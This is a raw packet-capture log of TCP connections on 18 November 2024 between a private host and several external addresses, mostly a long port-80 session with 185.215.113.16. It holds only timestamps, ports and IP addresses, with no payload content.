Nov 18, 2024 21:04:17.093291044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.093306065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.093343019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.093358994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.094669104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.094686031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.094738007 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.096546888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.096564054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.096620083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.098387957 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.098403931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.098457098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.098489046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.100219011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.100235939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.100279093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.102129936 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.102147102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.102161884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.102169991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.102204084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.104193926 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.104211092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.104240894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.104268074 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.105082989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.105098009 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.105137110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.107460976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.107477903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.107525110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.108335018 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.108350992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.108366013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.108377934 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.108407974 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.111023903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.111041069 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.111084938 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.111396074 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.111412048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.111435890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.111468077 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.113564968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.114101887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.114118099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.114141941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.114171982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.115753889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.115771055 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.115817070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.116328955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.116345882 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.116362095 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.116370916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.116388083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.116406918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.117815018 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.117830992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.117872953 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.117892981 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.118567944 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.118583918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.118633032 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.120603085 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.120620012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.120666027 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.121156931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.121172905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.121186972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.121196985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.121231079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.122512102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.122529984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.122570038 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.123462915 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.123478889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.123500109 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.123531103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.124324083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.124340057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.124378920 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.125794888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.125811100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.125845909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.125874043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.126590967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.126607895 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.126625061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.126647949 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.126678944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.127973080 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.127989054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.128031969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.128930092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.128946066 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.128988028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.130388021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.130409956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.130433083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.130455971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.131300926 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.131352901 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.131527901 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.132447958 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.132466078 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.132497072 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.132513046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.134160995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.134176016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.134216070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.135351896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.135368109 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.135409117 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.136457920 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.136473894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.136495113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.136527061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.137666941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.137685061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.137728930 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.138490915 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.138508081 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.138533115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.138562918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.140516996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.140532970 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.140574932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.142527103 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.142538071 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.143971920 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.143987894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.144002914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.144051075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.144068956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.146074057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.146090984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.146135092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.147366047 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.147382975 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.147437096 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.149139881 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.149157047 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.149194956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.149209976 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.149935961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.149976015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.150016069 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.151182890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.151200056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.151215076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.151232004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.151259899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.152350903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.152368069 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.152410984 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.152441025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.154180050 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.154196024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.154246092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.155451059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.155468941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.155514956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.156615973 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.156632900 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.156656981 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.156688929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.158623934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.158638954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.158689976 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.159590960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.159606934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.159631014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.159662008 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.160808086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.160824060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.160864115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.164021015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.164036036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.164088011 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.165093899 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.165111065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.165143967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.165174961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.167244911 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.167260885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.167304039 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.167855024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.167871952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.167891979 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.167921066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.170217991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.170234919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.170283079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.170424938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.170442104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.170461893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.170492887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.172931910 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.172946930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.172972918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.173012018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.173758030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.173774004 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.173789978 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.173815012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.173830032 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.175518990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.175535917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.175587893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.175744057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.175760031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.175800085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.178020000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.178036928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.178086996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.178976059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.178992033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.179008007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.179029942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.179048061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.180938959 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.180957079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.181005955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.181662083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.181678057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.181701899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.181727886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.183547020 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.183563948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.183604956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.184190035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.184207916 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.184231997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.184253931 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.186439037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.186455011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:17.186496019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:17.303684950 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.304408073 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.304907084 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.304919004 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.304949045 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.304985046 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.305363894 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.305368900 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.305470943 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.305478096 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.362695932 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.364815950 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.364866972 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.365196943 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.365211964 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.384563923 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.387619019 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.387633085 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.388011932 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.388017893 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.456022978 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.456196070 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.456258059 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.456319094 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.456336021 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.456346035 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.456352949 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.459124088 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.459175110 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.459248066 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.459566116 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.459585905 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.461172104 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.461250067 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.461301088 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.461450100 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.461450100 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.461467981 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.461478949 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.463347912 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.463372946 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.463430882 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.463546038 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.463560104 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.521122932 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.521471024 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.521527052 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.521740913 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.521754026 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.521764040 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.521768093 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.524130106 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.524211884 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.524291039 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.524597883 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.524640083 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.530236006 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.530380964 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.530699968 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.531044960 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.531054974 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.531069994 CET	49831	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.531075954 CET	443	49831	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.533402920 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.533413887 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.533473015 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.533801079 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.533812046 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.701540947 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:17.701621056 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:17.702841997 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:17.702850103 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:17.703398943 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:17.704755068 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:17.704915047 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:17.704953909 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:17.705013037 CET	49833	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:17.705020905 CET	443	49833	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:17.915566921 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.916165113 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.916183949 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:17.916646957 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:17.916651964 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.058762074 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.058824062 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.058871984 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.059032917 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.059050083 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.059072018 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.059077024 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.061585903 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.061655045 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.061744928 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.061878920 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.061901093 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.262075901 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.262573004 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.262593031 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.263051033 CET	49836	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:18.263056040 CET	443	49836	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:18.266211987 CET	443	49835	13.107.246.45	192.168.2.4
